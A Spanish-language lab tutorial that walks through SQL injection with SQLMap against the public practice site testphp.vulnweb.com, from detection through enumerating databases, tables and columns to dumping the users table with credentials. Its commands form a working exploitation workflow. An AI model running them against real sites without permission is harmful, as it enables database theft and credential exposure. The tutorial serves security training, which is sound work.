SQL Injection (SQLi) es una de las vulnerabilidades más comunes en aplicaciones web. Puede permitir a un atacante:
- Acceder a bases de datos sensibles.
- Extraer información confidencial.
- Alterar datos críticos.
En este laboratorio práctico usaremos SQLMap, la herramienta líder para pruebas de SQLi automatizadas, sobre vulnweb.com, un entorno seguro de práctica.
⚠️ Solo realiza pruebas en sitios que poseas o tengas permiso explícito. Testear sin autorización es ilegal y poco ético.
Paso 1: Instalación y preparación de SQLMap
SQLMap viene preinstalado en Kali Linux. Para verificar:
sqlmap --version
Si no está instalado en tu sistema:
sudo apt install sqlmap
Sintaxis básica de SQLMap
sqlmap [OPCIONES] -u "URL_OBJETIVO"
Opciones clave:
| Opción | Función | Ejemplo |
|---|---|---|
-u | URL objetivo | -u "http://site.com/page?id=1" |
--dbs | Listar bases de datos | sqlmap -u "URL" --dbs |
-D | Seleccionar base de datos | -D database_name |
--tables | Listar tablas | sqlmap -u "URL" -D dbname --tables |
-T | Seleccionar tabla | -T users |
--columns | Listar columnas | sqlmap -u "URL" -D dbname -T users --columns |
--dump | Extraer datos | sqlmap -u "URL" -D dbname -T users --dump |
--batch | Saltar prompts interactivos | sqlmap -u "URL" --batch |
--level | Nivel de profundidad (1-5) | --level 3 |
--risk | Nivel de riesgo (1-3) | --risk 2 |
Consultar todas las opciones:
sqlmap --help
Paso 2: Escaneo inicial en sitio de prueba
Usaremos el parámetro vulnerable en:
http://testphp.vulnweb.com/search.php?test=query
Comando:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query"
SQLMap detectará el tipo de vulnerabilidad y el motor de base de datos, por ejemplo:
MySQL >= 5.6
Servidor: Nginx + PHP 5.6
Tipos de SQLi detectados:
- Boolean-based blind
- Error-based
- Time-based blind
- UNION query
Paso 3: Enumeración de bases de datos
Listar todas las bases de datos:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --dbs
Resultado: Dos bases de datos disponibles para exploración.
Listar tablas en la base acuart:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart --tables
Paso 4: Inspección de tablas y columnas
Columnas de la tabla users:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart -T users --columns
Columnas típicas:
idnameemailpassword
Paso 5: Extracción de datos
Extraer toda la tabla users:
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart -T users --dump
SQLMap exporta automáticamente los datos a:
/home/user/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
Resultado: Usuario y credenciales extraídas. Esto demuestra la gravedad de una SQLi no mitigada.
Esto es lo que hemos aprendido
- SQLMap automatiza la detección y explotación de SQLi.
- Una vulnerabilidad en un solo parámetro puede exponer toda la base de datos.
- Aprender a enumerar bases, tablas y columnas es clave para pentesting efectivo.
- En entornos reales, los WAFs pueden bloquear ataques simples; aprender evasión es útil solo para mejorar la seguridad.
Conclusión
Este laboratorio demuestra cómo SQL Injection puede comprometer aplicaciones web críticas. SQLMap facilita la exploración segura y educativa, ayudando a los profesionales a identificar, documentar y corregir vulnerabilidades antes de que los atacantes lo hagan.
🎯 Consejo final: Usa esta experiencia para fortalecer defensas, mejorar configuraciones de WAF y escribir código más seguro.
